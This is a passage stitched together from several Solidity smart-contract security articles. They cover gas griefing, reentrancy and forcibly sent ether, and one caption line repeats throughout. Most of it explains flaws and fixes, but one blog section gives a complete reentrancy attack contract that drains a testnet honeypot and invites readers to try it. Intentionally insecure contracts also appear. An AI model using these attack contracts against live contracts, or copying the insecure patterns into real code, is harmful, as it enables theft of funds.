This contract allows transaction relaying. Someone who wants to make a transaction but can’t execute it by himself (e.g. due to the lack of ether to pay for gas) can sign data that he wants to pass and transfer the data with his signature over any medium. A third party “forwarder” can then submit this transaction to the network on behalf of the user.

If given just the right amount of gas, the Relayer would complete execution recording the _dataargument in the executed mapping, but the subcall would fail because it received insufficient gas to complete execution.

An attacker can use this to censor transactions, causing them to fail by sending them with a low amount of gas. This attack is a form of “griefing“: It doesn’t directly benefit the attacker, but causes grief for the victim. A dedicated attacker, willing to consistently spend a small amount of gas could theoretically censor all transactions this way, if they were the first to submit them to Relayer.

One way to address this is to implement logic requiring forwarders to provide enough gas to finish the subcall. If the miner tried to conduct the attack in this scenario, the require statement would fail and the inner call would revert. A user can specify a minimum gasLimit along with the other data (in this example, typically the _gasLimit value would be verified by a signature, but that is omitted for simplicity in this case).

// contract called by Relayer
contract Executor {
    function execute(bytes _data, uint _gasLimit) {
        require(gasleft() >= _gasLimit);
        ...
    }
}

Another solution is to permit only trusted accounts to relay the transaction.

This question is about the verb “to grief” rather than the noun “grief”.

The latter is presumably what lots of people are currently feeling due to the drop in cryptocurrency prices.

The former, which is what you’re asking about, is when someone uses a system in an unexpected way to create what other users of the system might call an attack. Such an attack doesn’t benefit the attacker, but does make using the system more difficult for the victim. (i.e. It causes them grief [noun].)

It’s a common term in computer games, where the person performing the griefing is referred to as the griefer.

For an example in the Ethereum world, take a look at the Insufficient Gas Griefing attack.

I’m really not very familiar with griefing attacks but based on the definition I’d say they can be profitable for the attacker. Not directly but indirectly.

My not-too-scientific analysis is based on the example given in the linked answer’s references: https://consensys.github.io/smart-contract-best-practices/known_attacks/#insufficient-gas-griefing

This is not a perfect example but at least something: imagine a contract which is used for finding out whether anyone disagrees or agrees with some idea. So a maximum of one “yes” and a maximum of one “no” is enough for the contract. Now for some reason it needs to be called through such a Relayer contract. If the attacker performs a griefing attack on the “yes” or the “no” answer the answer doesn’t get stored but nobody else can give that answer anymore as the Relayer has already blocked that answer. That way the attacker knows nobody can give an answer he doesn’t like.


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Reentrancy

Reentrancy is an attack that can occur when a bug in a contract function can allow a function interaction to proceed multiple times when it should otherwise be prohibited. This can be used to drain funds from a smart contract if used maliciously. In fact, reentrancy was the attack vector used in the DAO hack.

Single function reentrancy

A single function reentrancy attack occurs when a vulnerable function is the same function that an attacker is trying to recursively call.

// INSECURE
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(msg.sender.call.value(amount)());
    balances[msg.sender] = 0;
}

Here we can see that the balance is only modified after the funds have been transferred. This can allow a hacker to call the function many times before the balance is set to 0, effectively draining the smart contract.

Cross-function reentrancy

A cross-function reentrancy attack is a more complex version of the same process. Cross-function reentrancy occurs when a vulnerable function shares state with a function that an attacker can exploit.

// INSECURE
function transfer(address to, uint amount) external {
  if (balances[msg.sender] >= amount) {
    balances[to] += amount;
    balances[msg.sender] -= amount;
  }
}

function withdraw() external {
  uint256 amount = balances[msg.sender];
  require(msg.sender.call.value(amount)());
  balances[msg.sender] = 0;
}

In this example, a hacker can exploit this contract by having a fallback function call transfer() to transfer spent funds before the balance is set to 0 in the withdraw() function.

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Reentrancy prevention

When transfering funds in a smart contract, use send or transfer instead of call. The problem with using call is that unlike the other functions, it doesn’t have a gas limit of 2300. This means that call can be used in external function calls which can be used to perform reentrancy attacks.

Another solid prevention method is to mark untrusted functions.

function untrustedWithdraw() public {
  uint256 amount = balances[msg.sender];
  require(msg.sender.call.value(amount)());
  balances[msg.sender] = 0;
}

In addition, for optimum security use the checks-effects-interactions pattern. This is a simple rule of thumb for ordering smart contract functions.

The function should begin with checks, e.g. require and assert statements.

Next, the effects of the contract should be performed, i.e. state modifications.

Finally, we can perform interactions with other smart contracts, e.g. external function calls.

This structure is effective against reentrancy because the modified state of the contract will prevent bad actors from performing malicious interactions.

function withdraw() external {
  uint256 amount = balances[msg.sender];
  balances[msg.sender] = 0;
  require(msg.sender.call.value(amount)());
}

Since the balance is set to 0 before any interactions are performed, if the contract is called recursively, there is nothing to send after the first transaction.

Reentrancy

One of the major dangers of calling external contracts is that they can take over the control flow, and make changes to your data that the calling function wasn’t expecting. This class of bugs can take many forms, and both of the major bugs that led to the DAO’s collapse were bugs of this sort.

Reentrancy on a Single Function

The first version of this bug to be noticed involved functions that could be called repeatedly, before the first invocation of the function was finished. This may cause the different invocations of the function to interact in destructive ways.

// INSECURE
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call withdrawBalance again
    require(success);
    userBalances[msg.sender] = 0;
}

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed and will withdraw the balance over and over again.

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

On June 17th 2016, The DAO was hacked and 3.6 million Ether ($50 Million) were stolen using the first reentrancy attack. Ethereum Foundation issued a critical update to rollback the hack. This resulted in Ethereum being forked into Ethereum Classic and Ethereum.

In the example given, the best way to prevent this attack is to make sure you don’t call an external function until you’ve done all the internal work you need to do:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    userBalances[msg.sender] = 0;
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // The user's balance is already 0, so future invocations won't withdraw anything
    require(success);
}

Note that if you had another function which called withdrawBalance(), it would be potentially subject to the same attack, so you must treat any function which calls an untrusted contract as itself untrusted. See below for further discussion of potential solutions.

Cross-function Reentrancy

An attacker may also be able to do a similar attack using two different functions that share the same state.

// INSECURE
mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call transfer()
    require(success);
    userBalances[msg.sender] = 0;
}

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. This vulnerability was also used in the DAO attack.

The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Pitfalls in Reentrancy Solutions

Since reentrancy can occur across multiple functions, and even multiple contracts, any solution aimed at preventing reentrancy with a single function will not be sufficient.

Instead, we have recommended finishing all internal work (ie. state changes) first, and only then calling the external function. This rule, if followed carefully, will allow you to avoid vulnerabilities due to reentrancy. However, you need to not only avoid calling external functions too soon, but also avoid calling functions which call external functions. For example, the following is insecure:

// INSECURE
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function withdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    (bool success, ) = recipient.call.value(amountToWithdraw)("");
    require(success);
}

function getFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    rewardsForA[recipient] += 100;
    withdrawReward(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
    claimedBonus[recipient] = true;
}

Even though getFirstWithdrawalBonus() doesn’t directly call an external contract, the call in withdrawReward() is enough to make it vulnerable to a reentrancy. You therefore need to treat withdrawReward() as if it were also untrusted.

mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function untrustedWithdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    (bool success, ) = recipient.call.value(amountToWithdraw)("");
    require(success);
}

function untrustedGetFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    claimedBonus[recipient] = true;
    rewardsForA[recipient] += 100;
    untrustedWithdrawReward(recipient); // claimedBonus has been set to true, so reentry is impossible
}

In addition to the fix making reentry impossible, untrusted functions have been marked. This same pattern repeats at every level: since untrustedGetFirstWithdrawalBonus() calls untrustedWithdrawReward(), which calls an external contract, you must also treat untrustedGetFirstWithdrawalBonus() as insecure.


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Another solution often suggested is a mutex. This allows you to “lock” some state so it can only be changed by the owner of the lock. A simple example might look like this:

// Note: This is a rudimentary example, and mutexes are particularly useful where there is substantial logic and/or shared state
mapping (address => uint) private balances;
bool private lockBalances;

function deposit() payable public returns (bool) {
    require(!lockBalances);
    lockBalances = true;
    balances[msg.sender] += msg.value;
    lockBalances = false;
    return true;
}

function withdraw(uint amount) payable public returns (bool) {
    require(!lockBalances && amount > 0 && balances[msg.sender] >= amount);
    lockBalances = true;

    (bool success, ) = msg.sender.call.value(amount)("");

    if (success) { // Normally insecure, but the mutex saves it
      balances[msg.sender] -= amount;
    }

    lockBalances = false;
    return true;
}

If the user tries to call withdraw() again before the first call finishes, the lock will prevent it from having any effect. This can be an effective pattern, but it gets tricky when you have multiple contracts that need to cooperate. The following is insecure:

// INSECURE
contract StateHolder {
    uint private n;
    address private lockHolder;

    function getLock() {
        require(lockHolder == address(0));
        lockHolder = msg.sender;
    }

    function releaseLock() {
        require(msg.sender == lockHolder);
        lockHolder = address(0);
    }

    function set(uint newState) {
        require(msg.sender == lockHolder);
        n = newState;
    }
}

An attacker can call getLock(), and then never call releaseLock(). If they do this, then the contract will be locked forever, and no further changes will be able to be made. If you use mutexes to protect against reentrancy, you will need to carefully ensure that there are no ways for a lock to be claimed and never released. (There are other potential dangers when programming with mutexes, such as deadlocks and livelocks. You should consult the large amount of literature already written on mutexes, if you decide to go this route.)


Above were examples of reentrancy involving the attacker executing malicious code within a single transaction. The following are a different type of attack inherent to Blockchains: the fact that the order of transactions themselves (e.g. within a block) is easily subject to manipulation.


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack Contract

to code smart contracts is certainly not a free picnic. A bug introduced in the code costs money and most likely not only your money but also other people’s as well. The reality is that the Ethereum ecosystem is still in its infancy but growing and standards are being defined and redefined by the day so one needs to be always updated and akin to smart contract security best practices.

As a student of smart contract security, I have been on the look out for vulnerabilities in code. It came to my attention this contract deployed to the testnet.

pragma solidity ^0.4.8;contract HoneyPot {
mapping (address => uint) public balances; function HoneyPot() payable {
put();
} function put() payable {
balances[msg.sender] = msg.value;
} function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
} function() {
throw;
}
}

The HoneyPot contract above originally contained 5 ether and was deliberately devised to be hacked. In this blog post, I want to share with you how I attacked this contract and ‘collected’ most of its ether.

The Vulnerable Contract

The purpose of the HoneyPot contract above is to keep a record of balances for each address that put() ether in it. It also allows an address to get() its ether deposited it in it.

Let’s look at the most interesting parts of this contract:

mapping (address => uint) public balances;

The code above maps addresses to a value and stores it in a public variable called balances . It allows to check the HoneyPot balance for an address.

balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

The put() function below is where the storage of the ether value happens in the contract. Note that msg.sender here is the transaction sender’s address.

function put() payable {
balances[msg.sender] = msg.value;
}

Nest, we find the function where the exploitable is. The purpose of this function is to let addresses to withdraw the value of ether they have in HoneyPot as balance.

function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}

Where is the exploitable and how can someone attack this you ask? Check again these lines of code :

if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;

HoneyPot contract sets the value of the address balance to zero only after checking if sending ether to msg.sender goes through.

What if there is an AttackContract that tricks HoneyPot into thinking that it still has ether to withdraw before AttackContract balance is set to zero. This can be done in a recursive manner and the name for this is called reentrancy attack.

Let’s create one.

Here is the full contract code. I will attempt my best to explain its parts.

pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot; function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
} function kill () {
suicide(msg.sender);
} function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
} function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
}

The first few lines is basically assigning the solidity compiler to use with the contract. Then we import the HoneyPot contract which I put in a separate file. Note that HoneyPot is referenced throughout the HoneyPotCollect contract. And we set up the contract base which we call it HoneyPotCollect .

pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot;
...
}

Then we define the constructor function. This is the function that is called when HoneyPotCollect is created. Note that we pass an address to this function. This address will be the HoneyPot contract address.

function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}

Next function is the kill function. I want to withdraw ether from the HoneyPot contract to the HoneyPotCollect contract. However I want also to get the collected ether to an address I own. So I add a mechanism to destroy the HoneyPotCollect and send all ether containing in it to the address that calls the kill function.

function kill () {
suicide(msg.sender);
}

The following function is the one that will set the reentrancy attack in motion. It puts some ether in HoneyPot and right after it, it gets it.

function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}

The payable term here tells the Ethereum Virtual Machine that it permits to receive ether. Invoke this function with also some ether.

The last function is what is known as the fallback functionThis unnamed function is called whenever the HoneyPotCollect contract receives ether.

function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}

This is where the reentrancy attack occur. Let’s see how.

The Attack

After deploying HoneyPotCollect, call collect() and sending with it some ether.

HoneyPot get() function sends ether to the address that called it only if this contract has any ether as balance. When HoneyPot sends ether to HoneyPotCollect the fallback function is triggered. If the HoneyPot balance is more than the value that it was sent to, the fallback function calls get() function once again and the cycle repeats.

Recall that within the get()function the code that sets the balance to zero comes only after sending the transaction. This tricks the HoneyPot contract into sending money to the HoneyPotCollect address over and over and over until HoneyPot is depleted of almost all its ether.

Try it yourself. I left 1 test ether in this contract so others could try it themselves. If you see no ether left there, then it is because someone already attacked it before you.


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Protect Your Solidity Smart Contracts From Reentrancy Attacks

One of the most devastating attacks you need to watch out for when developing smart contracts with Solidity are reentrancy attacks. They are devastating for two reasons: they can completely drain your smart contract of its ether, and they can sneak their way into your code if you’re not careful.

A reentrancy attack can occur when you create a function that makes an external call to another untrusted contract before it resolves any effects. If the attacker can control the untrusted contract, they can make a recursive call back to the original function, repeating interactions that would have otherwise not run after the effects were resolved.

This simplest example is when a contract does internal accounting with a balance variable and exposes a withdraw function. If the vulnerable contract transfers funds before it sets the balance to zero, the attacker can recursively call the withdraw function repeatedly and drain the whole contract.

Let’s look at an example:

function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

All an attacker needs to exploit this function is to get some amount of balance mapped to their smart contract address and create a fallback function that calls withdraw.

After msg.sender.call.value(amount)() transfers the correct amount of funds, the attacker’s fallback function calls withdraw again, transferring more funds before balances[msg.sender] = 0 can stop further transfers. This continues until there is either no ether remaining, or execution reaches the maximum stack size.

Typically a vulnerable function will make an external call using transfersend, or call. We will cover the differences between these functions in the section on preventing reentrancy attacks.

Types of reentrancy attacks

There are two main types of reentrancy attacks: single function and cross-function reentrancy.

Single function reentrancy attack

This type of attack is the simplest and easiest to prevent. It occurs when the vulnerable function is the same function the attacker is trying to recursively call.

Our previous code example is a single function reentrancy attack.

Cross-function reentrancy attack

These attacks are harder to detect. A cross-function reentrancy attack is possible when a vulnerable function shares state with another function that has a desirable effect for the attacker.

This is easiest to explain with an example:

function transfer(address to, uint amount) external {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

In this example, withdraw calls the attacker’s fallback function same as with the single function reentrancy attack.

The difference is the fallback function makes a call to transfer instead of recursively calling withdraw. Because the balance has not been set to 0 before this call, the transfer function can transfer a balance that has already been spent.

How bad can a reentrancy attack be?

Just ask someone who invested in The DAO back in 2016. The DAO hack was one of the highest profile reentrancy attacks in Ethereum’s history. An attacker managed to drain it of about 3.6 million ether.

The DAO had a vulnerable function meant to split off a child DAO. The attacker used this function to recursively transfer funds from the original DAO to the child DAO that they controlled.

The hack was so damaging the Ethereum Foundation resorted to a controversial hard fork that recovered investor funds. Most supported the hard fork, but part of the community thought it violated the core principles of cryptocurrency — namely immutability — and continued to use the old chain resulting in the creation of Ethereum Classic.

Prevent reentrancy attacks

There are a few best practices you should follow to protect your smart contracts from reentrancy attacks.

send, transfer, and call

Because most reentrancy attacks involve sendtransfer, or call functions — it is important to understand the difference between them.

send and transfer functions are considered safer because they are limited to 2,300 gas. The gas limit prevents the expensive external function calls back to the target contract. The one pitfall is when a contract sets a custom amount of gas for a send or transfer using msg.sender.call(ethAmount).gas(gasAmount).

The call function is unfortunately much more vulnerable.

When an external function call is expected to perform complex operations, you typically want to use the call function because it forwards all remaining gas. This opens the door for an attacker to make calls back to the original function in a single function reentrancy attack, or a different function from the original contract in a cross-function reentrancy attack.

Wherever possible, use send or transfer in place of call to limit your security risk.

Mark untrusted functions

To protect against reentrancy attacks, it is important to identify when a function is untrusted. The Consensys best practices recommends that you name functions and variables to indicate if they are untrusted.

For example:

function untrustedWithdraw() public {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

It is important to remember that if a function calls another untrusted function it is also untrusted.

function untrustedSettleBalance() external {
untrustedWithdraw();
}

Checks-effects-interactions pattern

The most reliable method of protecting against reentrancy attacks is using the checks-effects-interactions pattern.

This pattern defines the order in which you should structure your functions.

First perform any checks, which are normally assert and require statements, at the beginning of the function.

If the checks pass, the function should then resolve all the effects to the state of the contract.

Only after all state changes are resolved should the function interact with other contracts. By calling external functions last, even if an attacker makes a recursive call to the original function they cannot abuse the state of the contract.

Let’s rewrite our vulnerable withdraw function using the checks-effects-interactions pattern.

function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
require(msg.sender.call.value(amount)());
}

Because we zero out the balance — an effect — before making an external call, a recursive call made by an attacker will not be tricked into thinking there is still a remaining balance.

Mutex

In more complex situations such as protecting against cross-function reentrancy attacks it may be necessary to use a mutex.

A mutex places a lock on the contract state. Only the owner of the lock can modify the state.

Let’s look at a simple implementation of a mutex.

function transfer(address to, uint amount) external {
require(!lock);
lock = true; if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
} lock = false;
}function withdraw() external {
require(!lock);
lock = true; uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0; lock = false;
}

By using this lock, an attacker can no longer exploit the withdraw function with a recursive call. Nor can an attacker exploit a call to transfer for a cross-function reentrancy attack. All state modifications occur while lock is true, preventing any function checking the lock from being called out of order.

You must be careful implementing a mutex to make sure there is always a way for a lock to be released. If an attacker can get a lock on your contract and prevent its release your contract can be rendered inert.

OpenZeppelin has it’s own mutex implementation you can use called ReentrancyGuard. This library provides a modifier you can apply to any function called nonReentrant that guards the function with a mutex.

View the source code for the OpenZeppelin ReentrancyGuard library here: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/utils/ReentrancyGuard.sol

Keep in mind that a nonReentrant function should be external. If another function calls the nonReentrant function it is no longer protected.

The future of reentrancy attacks

There is always the risk of future updates introducing more opportunities for attacks. The Constantinople update was delayed because a flaw was discovered in EIP 1283 that introduced a new reentrancy attack using certain SSTORE operations. Had this update been deployed to the mainnet, even send and transfer functions would have been vulnerable.

Attacks will get increasingly advanced and involve more complex interactions between functions and contracts to effect state. The best thing we can do to stay ahead is to keep interactions as simple as possible and employ best practices such as using transfer or send instead of call and using the checks-effects-interactions pattern to structure our functions.


Typically, when you send ether to a contract it must execute the fallback function or another function defined in the contract. There are two exceptions to this, where ether can exist in a contract without executing any code. Contracts that depend on code execution for all ether sent to them can be vulnerable to attacks where ether is forcibly sent.

The Vulnerability

A typical defensive programming technique that is valuable in enforcing correct state transitions or validating operations is invariant checking. This method involves defining a set of invariants (metrics or parameters that do not need to be changed) and checking that they do not change after one (or more) operations. An example of an invariant is totalSupply a fixed-issuance ERC20 token. Because no function should change this invariant.

In particular, there is an obvious invariant that can be tempting to use but can in fact be manipulated by external users (despite the rules set out in the smart contract). This is the current ether stored in the contract. Often, when developers first learn about Solidity, they have the misconception that a contract can accept ether only via payable functions. This misunderstanding can lead to contracts that have false assumptions about the ether balance within them, which can lead to various vulnerabilities. The key for this vulnerability is the (incorrect) use of this.balance.

There are two ways in which ether can (forcibly) be sent to a contract that doesn’t use a payable function or doesn’t execute any code on the contract:

1. Self-destruct

Each contract will be able to perform selfdestruct function that removes all bytecode from the contract address and sends all ether stored there to the address specified by the parameter. If the specified address is also a contract, no functions (including the fallback) get called. Therefore, the selfdestruct function can be forced to send ether to any contract regardless of any code that may exist in the contract, even contracts without payable functions. This means an attacker can create a contract with a selfdestruct function, send ether to it, call selfdestruct(target) and force ether to be sent to a target contract.

2. Pre-sent ether

Another way to get ether into a contract is to preload the contract address with ether. Contract addresses are deterministic — in fact, the address is calculated from the Keccak-256 (similar to SHA-3) hash of the address creating the contract and the transaction nonce that creates the contract. Specifically, it is of the form:

address = sha3(rlp.encode([account_address,transaction_nonce]))

Let’s explore some pitfalls that can arise given this knowledge. Consider the overly simple contract in EtherGame.sol.


contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;

    mapping(address => uint) redeemableEther;
    // Users pay 0.5 ether. At specific milestones, credit their accounts.
    function play() external payable {
        require(msg.value == 0.5 ether); // each play is 0.5 ether
        uint currentBalance = this.balance + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        // if at a milestone, credit the player's account
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(this.balance == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

GITHUB


This contract represents a simple game (which would naturally involve race conditions) where players send 0.5 ether to the contract in the hopes that they will become the first player to reach one of the three milestones. Milestones are denominated in ether. The first to reach the milestone can claim a share of the ether after the game ends. The game ends when the last milestone of 10 ether is reached; users can then claim their rewards.

The issues with the EtherGame contract come from the poor use of this.balance both lines 14 and 32. An attacker could forcibly send a small amount of ether—say, 0.1 ether—through the selfdestruct function (discussed earlier) to prevent any future players from reaching a milestone. this.balance will never be a multiple of 0.5 ether thanks to this 0.1 ether contribution, because all legitimate players can only send 0.5-ether increments. This prevents all the ‘if’ conditions on lines 18, 21, and 24 from being true.

What’s worse is that an attacker who missed a milestone could forcibly send 10 ether (or an equivalent amount of ether that shifts the balance of the contract above the finalMileStone), which can lock all rewards in the contract forever. This is because the claimReward function will always revert, due to the require on line 32 (i.e., because this.balance is greater than finalMileStone).

Preventative Techniques

This sort of vulnerability often arises due to misuse of this.balance. Contract logic, when possible, should prevent relying on exact values of the balance of the contract because it can be artificially manipulated. If applying logic based on this.balance, you will have to deal with unexpected balances.

If an exact amount of deposited ether is required, a self-defined variable should be used that is incremented in payable functions, to safely track the deposited ether. This variable will not be influenced by the forced ether sent via selfdestruct call.

With this in mind, a corrected version of the EtherGame contract could look like:

contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() external payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

GITHUB


Here, we have created a new variable, depositedWei, that tracks known ether deposited, and it is this variable that we use for our tests. Note that we no longer have any reference to this.balance.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Forcibly sending ether is an attacker’s technique to manipulate a target contract balance. This article will describe how a smart contract relying on improper balance checking can be attacked and how to avoid the issue. Enjoy reading.

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production. Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services.

Table of Contents

  • The Vulnerability
  • The Attack
  • The Solution
  • Summary

Vulnerability Ethereum

The following code exhibits the InsecureMoonToken contract. The MOON is a non-divisible token with zero token decimals (line 12). Users can buy, sell, or transfer 1, 2, 3, or 46 MOONs but not 33.5 MOONs.

Besides the non-divisible characteristic, the MOON token is also a stablecoin pegged with the price of the ETH token (line 6). In other words, 1 MOON will always be worth 1 ETH.

Assuredly, the InsecureMoonToken contract is vulnerable. Can you catch up on the issue? 

pragma solidity 0.8.17;

contract InsecureMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}

GITHUB

In the InsecureMoonToken contract, users can buy MOON tokens with the corresponding number of Ethers via the buy function (lines 16–24). Users can also sell their MOONs through the sell function (lines 26–36), transfer their MOONs via the transfer function (lines 38–44), get their balances by consulting the getUserBalance function (lines 50–52), and get the total number of Ethers locked in the contract by way of the getEtherBalance function (lines 46–48).

As you can see, the InsecureMoonToken contract is straightforward. However, the contract got an improper balance assertion issue in line 35 in the sell function.

Specifically, the sell function hires the assert(getEtherBalance() == totalSupply * TOKEN_PRICE); statement to strictly assert that the Ether balance of the InsecureMoonToken contract (i.e., the getEtherBalance() part) must always be equal to the total supply of the MOON token (i.e., the totalSupply * TOKEN_PRICE part). This assertion ensures that the number of locked Ethers balances the MOON total supply.

Nevertheless, relying on the contract’s Ether balance as the sell function did is prone to attack. Consider if an attacker can send some small Ethers to lock into the InsecureMoonToken contract. What would happen?

The assertion statement would always be evaluated as false because the contract’s Ether balance would no longer match the MOON token’s total supply. This results in reverting all sell transactions.

Since the InsecureMoonToken contract does not implement the receive or fallback function, the contract regularly cannot receive any Ethers. But how can the attacker send Ethers into the contract? Figure 1 below illustrates the solution the attacker adopts to achieve the exploitation.

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

In Solidity, a special function named selfdestruct is used for removing the bytecode from the contract address executing it. Besides the contract bytecode removal, one side effect is that the Ethers stored in the removing contract would be forcibly sent to any specified address.

The selfdestruct function can forcibly send Ethers to even the contract that does not implement the receive or fallback function like the InsecureMoonToken contract.

This way, if the attacker deploys and executes the Attack contract containing the selfdestruct function, they can forcibly send Ethers to the InsecureMoonToken contract by specifying the InsecureMoonToken contract address as the argument of the selfdestruct function (i.e., selfdestruct(InsecureMoonToken)).


The Attack

The following code presents the Attack contract that can be used to exploit the InsecureMoonToken contract.

pragma solidity 0.8.17;

contract Attack {
    address immutable moonToken;

    constructor(address _moonToken) {
        moonToken = _moonToken;
    }

    function attack() external payable {
